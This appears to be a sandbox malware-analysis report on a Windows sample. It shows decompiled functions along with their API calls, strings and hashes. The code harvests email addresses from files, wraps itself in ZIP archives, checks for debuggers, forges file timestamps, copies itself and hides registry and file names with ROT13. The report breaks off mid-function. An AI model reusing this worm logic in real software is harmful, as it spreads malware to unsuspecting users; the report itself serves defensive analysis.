			E0040829C(signed int __edx, CHAR* _a4, CHAR* _a8, void* _a12) {
				void* _v16;
				short _v32;
				short _v34;
				long _v38;
				long _v42;
				intOrPtr _v46;
				void* _v48;
				signed short _v50;
				short _v52;
				short _v54;
				short _v56;
				void _v60;
				short _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				char _v92;
				struct _OVERLAPPED* _v98;
				intOrPtr _v102;
				short _v104;
				short _v110;
				short _v112;
				long _v116;
				long _v120;
				intOrPtr _v124;
				short _v126;
				short _v128;
				short _v130;
				short _v132;
				short _v134;
				short _v136;
				void _v140;
				char _v1164;
				long _v1168;
				long _v1172;
				void* _v1176;
				void* _v1188;
				void* _v1192;
				void* _v1196;
				void* _v1200;
				void* _v1204;
				void* _v1208;
				char _v1212;
				struct _OVERLAPPED* _v1216;
				void* _v1220;
				long _v1224;
				void* _v1228;
				signed int _t133;
				signed int _t137;
				int _t140;
				int _t141;
				intOrPtr _t148;
				long _t149;
				long _t150;
				short _t151;
				long _t155;
				char _t159;
				int _t162;
				long _t167;
				void* _t171;
				intOrPtr _t187;
				struct _OVERLAPPED* _t190;
				signed int _t197;
				signed int _t199;
				void* _t204;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t225;
				void* _t226;
				intOrPtr* _t230;
				void** _t231;

				_t197 = __edx;
				_t133 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_t213 = _t212 - 0x1c;
				_t211 = _t133;
				_t190 = 0;
				_t199 = _t197 & 0xffffff00 | _t133 == 0xffffffff | _t133 & 0xffffff00 | _t133 == 0x00000000;
				if(_t199 == 0) {
					_t137 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_t214 = _t213 - 0x1c;
					_v1176 = _t137;
					if((_t199 & 0xffffff00 | _t137 == 0xffffffff | _t137 & 0xffffff00 | _t137 == 0x00000000) == 0) {
						_t204 =  &_v60;
						asm("cld");
						_t140 = memset(_t204, 0, 7 << 2);
						 *((short*)(_t204 + 7)) = 0;
						_t206 =  &_v140;
						_t141 = memset(_t206, _t140, 0xb << 2);
						 *((short*)(_t206 + 0xb)) = 0;
						_t208 =  &_v92;
						memset(_t208, _t141, 5 << 2);
						 *((short*)(_t208 + 5)) = 0;
						_v60 = 0x4034b50;
						_v56 = 0xa;
						_v134 = 0xa;
						_v54 = 0;
						_v132 = 0;
						_v52 = 0;
						_v130 = 0;
						E0040814C( &_v50,  &_v48);
						_v128 = _v50 & 0x0000ffff;
						_v126 = _v48;
						_t148 = E004081D8(_t211); // executed
						_v46 = _t148;
						_v124 = _t148;
						_t149 = GetFileSize(_t211, 0);
						_v42 = _t149;
						_v120 = _t149;
						_t150 = GetFileSize(_t211, 0);
						_v38 = _t150;
						_v116 = _t150;
						_t151 = _a12;
						_v1212 = _t151;
						L0040C310();
						_v34 = _t151;
						_v112 = _t151;
						_v32 = 0;
						_v110 = 0;
						_v98 = 0;
						WriteFile(_v1176,  &_v60, 0x1e,  &_v1168, 0); // executed
						_t155 = _a12;
						_v1216 = _t155;
						L0040C310();
						WriteFile(_v1176, _a12, _t155,  &_v1168, 0); // executed
						_t159 = _a12;
						_v1220 = _t159;
						L0040C310();
						_t74 = _t159 + 0x1e; // 0x1e
						_t187 = _t74;
						SetFilePointer(_t211, 0, 0, 0); // executed
						_t225 = _t214 + 0x24 - 0xffffffffffffffbc;
						_t210 =  &_v1164;
						while(1) {
							_v1168 = 0;
							_t162 = ReadFile(_t211, _t210, 0x400,  &_v1168, 0); // executed
							_t226 = _t225 - 0x14;
							if(_t162 == 0 || _v1168 == 0) {
								break;
							}
							WriteFile(_v1176, _t210, _v1168,  &_v1172, 0); // executed
							_t225 = _t226 - 0x14;
							_t187 = _t187 + _v1168;
						}
						_v76 = _t187;
						_v140 = 0x2014b50;
						_v136 = 0x14;
						_v104 = 0;
						_v102 = 0x20;
						WriteFile(_v1176,  &_v140, 0x2e,  &_v1168, 0); // executed
						_t167 = _a12;
						_v1224 = _t167;
						L0040C310();
						WriteFile(_v1176, _a12, _t167,  &_v1168, 0); // executed
						_t171 = _a12;
						_v1228 = _t171;
						L0040C310();
						_t230 = _t226 - 0xfffffffffffffff8;
						_v92 = 0x6054b50;
						_v88 = 0;
						_v86 = 0;
						_v84 = 1;
						_v82 = 1;
						_v80 = _t187 + 0x2e + _t171 - _v76;
						_v72 = 0;
						_v1216 = 0;
						_v1220 =  &_v1168;
						_v1224 = 0x16;
						_v1228 =  &_v92;
						 *_t230 = _v1176; // executed
						WriteFile(??, ??, ??, ??, ??); // executed
						_t231 = _t230 - 0x14;
						 *_t231 = _v1176; // executed
						CloseHandle(??); // executed
						 *(_t231 - 4) = _t211;
						CloseHandle(??);
						_t190 = 1;
					} else {
						CloseHandle(_t211);
						_t190 = 0;
					}
				}
				return _t190;
			}

APIs

CreateFileA.KERNEL32 ref: 004082DE
CreateFileA.KERNEL32 ref: 00408336
CloseHandle.KERNEL32 ref: 00408356
GetFileSize.KERNEL32 ref: 00408409
GetFileSize.KERNEL32 ref: 00408422
lstrlen.KERNEL32 ref: 00408436
WriteFile.KERNEL32 ref: 00408480
lstrlen.KERNEL32 ref: 0040848E
WriteFile.KERNEL32 ref: 004084BC
lstrlen.KERNEL32 ref: 004084CA
SetFilePointer.KERNEL32 ref: 004084F0
ReadFile.KERNEL32 ref: 00408529

Strings

, xrefs: 00408593
., xrefs: 004085AC

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$lstrlen$CreateSizeWrite$CloseHandlePointerRead
String ID: $.
API String ID: 2059494333-3929174939
Opcode ID: db96ad772c5433479edb6ec15f6712a25d66f452af447f7d950adf714c5fff61
Instruction ID: 330a0651d7a757380811ed2d4a39bd4f834bab233f08717d63250c6a01a72e4e
Opcode Fuzzy Hash: db96ad772c5433479edb6ec15f6712a25d66f452af447f7d950adf714c5fff61
Instruction Fuzzy Hash: 17B1DDB4804304DBDB10EF65C59579EBBF4BF44304F00896EE898A7391E7799648CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040307E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 199
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E0040307E(signed int __edx, char* _a4) {
				void* _v16;
				char _v236;
				char _v237;
				char _v240;
				int _v244;
				int _v248;
				char* _v268;
				int _v272;
				char* _v276;
				intOrPtr _v280;
				int _v284;
				void* __ebx;
				struct _IO_FILE* _t63;
				int _t64;
				int _t65;
				struct _IO_FILE* _t68;
				int _t69;
				long _t71;
				int _t73;
				int _t77;
				signed int _t80;
				signed int _t81;
				int _t83;
				int _t92;
				int _t95;
				signed int _t97;
				int _t99;
				int _t100;
				int _t101;
				int _t102;
				int _t103;
				signed int _t104;
				signed int _t107;
				long _t110;
				struct _IO_FILE* _t111;
				struct _IO_FILE* _t112;
				int* _t113;
				intOrPtr* _t114;

				_t104 = __edx;
				_v244 = 0;
				_t110 = 0;
				_t63 = fopen(_a4, 0x40efaf); // executed
				_t111 = _t63;
				_t64 = 0;
				if(_t111 == 0) {
					L50:
					return _t64;
				}
				while(1) {
					_t65 = fgetc(_t111); // executed
					if(_t65 == 0xffffffff) {
						break;
					}
					_v244 = _v244 + 1;
				}
				fclose(_t111); // executed
				_t68 = fopen(_a4, 0x40efaf); // executed
				_t112 = _t68;
				_t64 = 0;
				if(_t112 == 0) {
					goto L50;
				}
				while(1) {
					L47:
					_t69 = fgetc(_t112); // executed
					_t99 = _t69;
					if(_t69 == 0xffffffff || _t110 > _v244) {
						break;
					}
					if(_t99 != 0x40) {
						continue;
					}
					_t71 = ftell(_t112);
					_t8 = _t71 - 1; // -1
					_t110 = _t8;
					if(_t110 > 0) {
						_t9 = _t71 - 2; // -2
						_t110 = _t9;
					}
					fseek(_t112, _t110, 0); // executed
					_t73 = fgetc(_t112); // executed
					_t100 = _t73;
					while(1) {
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						L15:
						_t20 = _t100 - 0x30; // -48
						_t97 = _t20;
						if(_t97 <= 9) {
							goto L11;
						}
						_t104 = _t104 & 0xffffff00 | _t100 == 0x0000005f | _t97 & 0xffffff00 | _t100 == 0x0000002d;
						if(_t104 == 0 && _t100 != 0x2e) {
							L18:
							_v248 = 0;
							while(1) {
								_t77 = fgetc(_t112);
								_t101 = _t77;
								if(_t77 == 0xffffffff) {
									break;
								}
								_t103 = 0;
								_t26 = _t101 - 0x61; // -97
								if(_t26 <= 0x19) {
									_t103 = 1;
								}
								_t27 = _t101 - 0x41; // -65
								if(_t27 <= 0x19) {
									_t103 = 1;
								}
								_t28 = _t101 - 0x30; // -48
								_t80 = _t28;
								if(_t80 <= 9) {
									_t103 = 1;
								}
								_t81 = _t80 & 0xffffff00 | _t101 == 0x0000002d;
								_t107 = _t104 & 0xffffff00 | _t101 == 0x0000005f | _t81;
								if(_t107 != 0) {
									_t103 = 1;
								}
								_t104 = _t107 & 0xffffff00 | _t101 == 0x00000040 | _t81 & 0xffffff00 | _t101 == 0x0000002e;
								if(_t104 != 0) {
									_t103 = 1;
								}
								if(_t103 == 0) {
									break;
								} else {
									_t92 = _v248;
									 *(_t92 +  &_v236) = _t101;
									_v248 = _t92 + 1;
									continue;
								}
							}
							_t83 = _v248;
							 *((char*)(_t83 +  &_v236)) = 0;
							if( *((char*)(_t83 +  &_v237)) == 0x40) {
								goto L47;
							}
							_t102 =  &_v236;
							_v284 = _t102;
							L0040C310();
							_t113 = _t113 - 4;
							if(_t83 > 9 &&  *((char*)(_v248 +  &_v237)) != 0x2e && _v236 != 0x40 && _v236 != 0x2e && _v236 != 0x2d) {
								 *_t113 = _t102;
								if(E00403008() == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E00402FC2(_t85, _t102) == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E0040305A() == 0) {
									goto L47;
								}
								while(E00404F0A(_t102, _t104) == 0) {
									 *_t113 = 0x7530;
									Sleep(??);
									_t113 = _t113 - 4;
								}
								_v268 =  &_v240;
								_v272 = 0;
								_v276 =  &_v236;
								_v280 = E00402288;
								_v284 = 0;
								 *_t113 = 0; // executed
								CreateThread(??, ??, ??, ??, ??, ??); // executed
								_t114 = _t113 - 0x18;
								 *_t114 = 0x28; // executed
								Sleep(??); // executed
								_t113 = _t114 - 4;
								if( *0x414018 == 4) {
									 *0x414018 = 0;
									 *_t113 = 0xfa0; // executed
									Sleep(??); // executed
									_t113 = _t113 - 4;
								}
								 *0x414018 =  *0x414018 + 1;
							}
							goto L47;
						}
						L11:
						if(_t110 == 0) {
							rewind(_t112);
							goto L18;
						}
						_t110 = _t110 - 1;
						fseek(_t112, _t110, 0); // executed
						_t95 = fgetc(_t112); // executed
						_t100 = _t95;
						if(_t95 == 0xffffffff) {
							fclose(_t112);
						}
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						goto L15;
					}
				}
				fclose(_t112); // executed
				_t64 = 0;
				goto L50;
			}

0x0040307e
0x0040308a
0x00403094
0x004030a7
0x004030ac
0x004030ae
0x004030b5
0x00403388
0x0040338f
0x0040338f
0x004030c3
0x004030c6
0x004030ce
0x00000000
0x00000000
0x004030bd
0x004030bd
0x004030d3
0x004030e6
0x004030eb
0x004030ed
0x004030f4
0x00000000
0x00000000
0x00403360
0x00403360
0x00403363
0x00403368
0x0040336d
0x00000000
0x00000000
0x0040310f
0x00000000
0x00000000
0x00403118
0x0040311d
0x0040311d
0x00403122
0x00403124
0x00403124
0x00403124
0x00403136
0x0040313e
0x00403143
0x00403177
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403193
0x00000000
0x00000000
0x004031a1
0x004031a3
0x004031aa
0x004031aa
0x00403224
0x00403227
0x0040322c
0x00403231
0x00000000
0x00000000
0x004031b6
0x004031bb
0x004031c1
0x004031c3
0x004031c3
0x004031c8
0x004031ce
0x004031d0
0x004031d0
0x004031d5
0x004031d5
0x004031db
0x004031dd
0x004031dd
0x004031eb
0x004031ee
0x004031f0
0x004031f2
0x004031f2
0x00403203
0x00403205
0x00403207
0x00403207
0x0040320e
0x00000000
0x00403210
0x00403210
0x00403216
0x0040321e
0x00000000
0x0040321e
0x0040320e
0x00403233
0x00403239
0x00403249
0x00000000
0x00000000
0x0040324f
0x00403255
0x00403258
0x0040325d
0x00403263
0x004032a4
0x004032ae
0x00000000
0x00000000
0x004032b4
0x004032be
0x00000000
0x00000000
0x004032c4
0x004032ce
0x00000000
0x00000000
0x004032e5
0x004032d6
0x004032dd
0x004032e2
0x004032e2
0x004032f4
0x004032f8
0x00403306
0x0040330a
0x00403312
0x0040331a
0x00403321
0x00403326
0x00403329
0x00403330
0x00403335
0x0040333f
0x00403341
0x0040334b
0x00403352
0x00403357
0x00403357
0x0040335a
0x0040335a
0x00000000
0x00403263
0x00403147
0x00403149
0x00403102
0x00000000
0x00403102
0x0040314b
0x0040315b
0x00403163
0x00403168
0x0040316d
0x00403172
0x00403172
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x00000000
0x0040318b
0x00403177
0x0040337e
0x00403383
0x00000000

APIs

fopen.MSVCRT ref: 004030A7
fgetc.MSVCRT ref: 004030C6
fclose.MSVCRT ref: 004030D3
fopen.MSVCRT ref: 004030E6
rewind.MSVCRT ref: 00403102
fgetc.MSVCRT ref: 00403227
lstrlen.KERNEL32 ref: 00403258
Sleep.KERNEL32 ref: 004032DD
CreateThread.KERNEL32 ref: 00403321
Sleep.KERNEL32 ref: 00403330
Sleep.KERNEL32 ref: 00403352
fgetc.MSVCRT ref: 00403363
fclose.MSVCRT ref: 0040337E

Strings

-, xrefs: 00403297

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Sleepfgetc$fclosefopen$CreateThreadlstrlenrewind
String ID: -
API String ID: 3748466826-2547889144
Opcode ID: 70293fff43ed0eea3442cc5bbc2323760001c1d57e8b9b0057168c482adf9c9d
Instruction ID: 6d437ecd7483d23b259e28590f61e0e5bcbda088feaf823980ac16ccee795e59
Opcode Fuzzy Hash: 70293fff43ed0eea3442cc5bbc2323760001c1d57e8b9b0057168c482adf9c9d
Instruction Fuzzy Hash: 287182748043148AD720AF25C4C536EBFA8AF44715F1549BFE885AB3C1DB7C8B848B8B

Uniqueness

Uniqueness Score: -1.00%

Function 00404076 Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 169
sleeplibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00404076(void* __edx) {
				void* _v16;
				char _v428;
				char _v588;
				char _v748;
				char _v908;
				char _v940;
				char _v944;
				char* _v976;
				int _v980;
				int _v984;
				char* _v988;
				int _v992;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t43;
				void* _t44;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t55;
				char _t58;
				void* _t60;
				intOrPtr _t63;
				char* _t90;
				char* _t91;
				char* _t92;
				char* _t93;
				void* _t96;
				void* _t98;
				char* _t100;
				void* _t101;
				char* _t102;
				void* _t103;
				int* _t106;
				char** _t107;
				char** _t109;
				char** _t112;
				char** _t113;

				_t96 = __edx;
				E0040B320();
				E0040AEB0();
				_v984 =  &_v428;
				_v988 = 2; // executed
				L004086C8(); // executed
				_t106 = (_t103 - 0x000003cc & 0xfffffff0) - 8;
				_t43 = E00404AB8();
				_t114 = _t43;
				if(_t43 != 0) {
					 *_t106 = 0;
					ExitProcess(??); // executed
				}
				_t44 = E004049EA(_t114); // executed
				if(_t44 != 0) {
					 *_t106 = 0;
					ExitProcess(??);
				}
				_t98 =  &_v940;
				asm("cld");
				memset(_t98, 0, 7 << 2);
				_t107 =  &(_t106[3]);
				 *((short*)(_t98 + 7)) = 0;
				_v988 = "user32.dll";
				_v992 = 0x96;
				 *_t107 =  &_v908;
				E00404620();
				_v992 = "fureinaf.qyy";
				_t100 =  &_v940;
				 *_t107 = _t100;
				E00404C38();
				_v988 = _t100;
				_v992 = 0x96;
				_t90 =  &_v588;
				 *_t107 = _t90;
				E00404620();
				 *_t107 = _t90; // executed
				_t51 = E00403F24(); // executed
				_t101 = _t51; // executed
				_t52 = E00403D26(_t90); // executed
				if(_t52 != 0) {
					_t53 = E00403E2E(_t90); // executed
					_t97 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t91 =  &_v588;
						 *_t107 = _t91; // executed
						_t55 = E00404ED6(); // executed
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = _t101;
							if(_t101 == 0) {
								 *_t107 =  &_v588;
								LoadLibraryA(??);
								_t107 = _t107 - 4;
							}
							_v992 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
							_t102 =  &_v748;
							 *_t107 = _t102;
							E00404C38();
							_v992 = "fgngrz";
							_t92 =  &_v940;
							 *_t107 = _t92;
							E00404C38();
							_v992 = _t92;
							 *_t107 = _t102; // executed
							_t58 = E00404812(_t92); // executed
							_v944 = _t58;
							__eflags = _t58 - 1;
							if(_t58 <= 1) {
								_v976 =  &_v944;
								_v980 = 0;
								_v984 = 0;
								_v988 = E00403AE0;
								_v992 = 0;
								 *_t107 = 0; // executed
								CreateThread(??, ??, ??, ??, ??, ??); // executed
								_t107 = _t107 - 0x18;
							}
							 *_t107 = "SeDebugPrivilege"; // executed
							E00404DF4(); // executed
							 *_t107 = 0x7d0; // executed
							Sleep(??); // executed
							_t109 = _t107 - 4; // executed
							_t60 = E0040402C(_t92); // executed
							__eflags = _t60;
							if(_t60 == 0) {
								 *_t109 =  &_v588;
								LoadLibraryA(??);
								_t109 = _t109 - 4;
							}
							_v992 = "hfonpgvi";
							_t93 =  &_v940;
							 *_t109 = _t93;
							E00404C38();
							_v992 = _t93;
							 *_t109 =  &_v748; // executed
							_t63 = E00404812(_t93); // executed
							_v944 = _t63;
							__eflags = _t63 - 1;
							if(_t63 == 1) {
								E00406A0A(); // executed
							}
							E00407C4E(_t97); // executed
							L18:
							 *_t109 = 0xfa0;
							Sleep(??);
							_t109 = _t109 - 4;
							goto L18;
						}
						E00405DC4(0);
						 *_t107 = _t91;
						E00405D46(_t91, 0);
						E00403C44(_t91, _t100, _t101);
						E004056D0(0);
						 *_t107 = _t91;
						E004054F2(0);
						_v992 = _t91;
						 *_t107 =  &_v908;
						E0040435C(_t91, _t97);
						 *_t107 = _t91;
						LoadLibraryA(??);
						 *(_t107 - 4) = 0xfa0;
						Sleep(??);
						_t97 = 0;
					}
				} else {
					E00405DC4(_t96);
					 *_t107 = _t90;
					E00405D46(_t90, _t96);
					E00403C44(_t90, _t100, _t101);
					E004056D0(_t96);
					 *_t107 = _t90;
					E004054F2(_t96);
					_v992 = _t90;
					 *_t107 =  &_v908;
					E0040435C(_t90, _t96);
					 *_t107 = _t90;
					LoadLibraryA(??);
					_t112 = _t107 - 4;
					 *_t112 = 0xfa0;
					Sleep(??);
					_t113 = _t112 - 4;
					_v992 = "pgszra.rkr";
					 *_t113 = _t100;
					E00404C38();
					_v992 = 0;
					 *_t113 = _t100;
					E00405776(_t90);
					_t97 = 0;
				}
				return _t97;
			}

APIs

WSAStartup.WS2_32 ref: 004040A5

Part of subcall function 00404AB8: IsDebuggerPresent.KERNEL32(004040B2), ref: 00404AC1

ExitProcess.KERNEL32 ref: 004040BD

Part of subcall function 00403E2E: CreateMutexA.KERNEL32 ref: 00403E5B
Part of subcall function 00403E2E: GetLastError.KERNEL32 ref: 00403E63

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

ExitProcess.KERNEL32 ref: 004040D2
LoadLibraryA.KERNEL32 ref: 00404184
Sleep.KERNEL32 ref: 00404193
LoadLibraryA.KERNEL32 ref: 0040421D
Sleep.KERNEL32 ref: 0040422C
LoadLibraryA.KERNEL32 ref: 0040424B
CreateThread.KERNEL32 ref: 004042C7
Sleep.KERNEL32 ref: 004042E2
LoadLibraryA.KERNEL32 ref: 004042FC
Sleep.KERNEL32 ref: 00404348

Part of subcall function 00405DC4: CreateFileA.KERNEL32 ref: 00405E5E
Part of subcall function 00405DC4: ExitProcess.KERNEL32 ref: 00405E7E
Part of subcall function 00405DC4: CloseHandle.KERNEL32 ref: 00405E9E

Part of subcall function 00405D46: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405D83
Part of subcall function 00405D46: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405DB7

Part of subcall function 004056D0: GetModuleFileNameA.KERNEL32 ref: 004056F4
Part of subcall function 004056D0: CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

hfonpgvi, xrefs: 00404304
SeDebugPrivilege, xrefs: 004042CF
user32.dll, xrefs: 004040EF
fgngrz, xrefs: 00404269
pgszra.rkr, xrefs: 0040419B
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00404253
fureinaf.qyy, xrefs: 0040410D

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$Create$Sleep$CloseHandle$LibraryLoadPointerWrite$ExitProcess$Time$CopyDebuggerErrorLastModuleMutexNamePresentStartupThreadfclosefopen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$SeDebugPrivilege$fgngrz$fureinaf.qyy$hfonpgvi$pgszra.rkr$user32.dll
API String ID: 2057360409-330933156
Opcode ID: 8bcb1cdb326dd3b7c058104fb4f3aa8cc7f9810afd15cdc21136cb6300fb904a
Instruction ID: 0cfcdf05f74210d9808c357536bce9e529f0bcd84bc5eb1993387659449c0d65
Opcode Fuzzy Hash: 8bcb1cdb326dd3b7c058104fb4f3aa8cc7f9810afd15cdc21136cb6300fb904a
Instruction Fuzzy Hash: 67610EB09087048AD710BF75C58625EBAE4AF81308F41997FE9C4776C2DB7C96888F5B

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 103
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00403622(signed int __eax, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				char _v300;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v324;
				intOrPtr _v332;
				intOrPtr _v340;
				intOrPtr _v348;
				intOrPtr _v356;
				intOrPtr _v364;
				intOrPtr _v372;
				intOrPtr _v380;
				void* __ebx;
				signed int _t32;
				signed int _t34;
				char _t37;
				char* _t38;
				intOrPtr _t41;
				signed int _t42;
				intOrPtr _t43;
				char _t44;
				char* _t45;
				void* _t46;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;

				_t42 = __edx;
				_t32 = __eax;
				_t47 = _t46 - 0x12c;
				_t43 = _a4;
				_t41 = _a8;
				_t37 = 0;
				_t44 = 0xffffffff;
				if( *((char*)(_t41 + 0x2c)) == 0) {
					L4:
					if(_t44 >= 0) {
						_v308 = 0x103;
						_v312 = _t41 + _t44 + 0x2d;
						_t38 =  &_v300;
						 *_t47 = _t38;
						L0040C350();
						_t48 = _t47 - 0xc;
						 *_t48 = _t38;
						_t32 = CharLowerA(??);
						_t47 = _t48 - 4;
					} else {
						_v300 = 0;
					}
					_v324 = 0x40efb2;
					_t45 =  &_v300;
					 *_t47 = _t45;
					L0040C318();
					_t49 = _t47 - 8;
					if(_t32 == 0) {
						L15:
						 *_t49 = _t43; // executed
						_t34 = E00402F2E(1, _t42); // executed
						_t32 =  ~((_t34 & 0xffffff00 | _t34 != 0x00000000) & 0x000000ff);
						if((0x00000001 & _t32) == 1) {
							 *_t49 = _t43; // executed
							_t32 = E0040307E(_t42); // executed
						}
						goto L17;
					} else {
						_v332 = 0x40efb7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v340 = 0x40efbb;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v348 = 0x40efbf;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v356 = 0x40efc3;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v364 = 0x40efc7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v372 = 0x40ee83;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v380 = 0x40efca;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 != 0) {
							L17:
							return _t32;
						}
						goto L15;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					if( *((char*)(_t41 + _t37 + 0x2c)) == 0x2e) {
						_t44 = _t37;
					}
					_t37 = _t37 + 1;
					_t42 = _t42 & 0xffffff00 |  *((char*)(_t41 + _t37 + 0x2c)) != 0x00000000;
					_t32 = _t32 & 0xffffff00 | _t37 - 0x000000fe <= 0x00000000;
				} while ((_t42 & _t32) != 0);
				goto L4;
			}

0x00403622
0x00403622
0x00403628
0x0040362e
0x00403631
0x00403634
0x00403639
0x00403642
0x00403663
0x00403665
0x00403670
0x0040367c
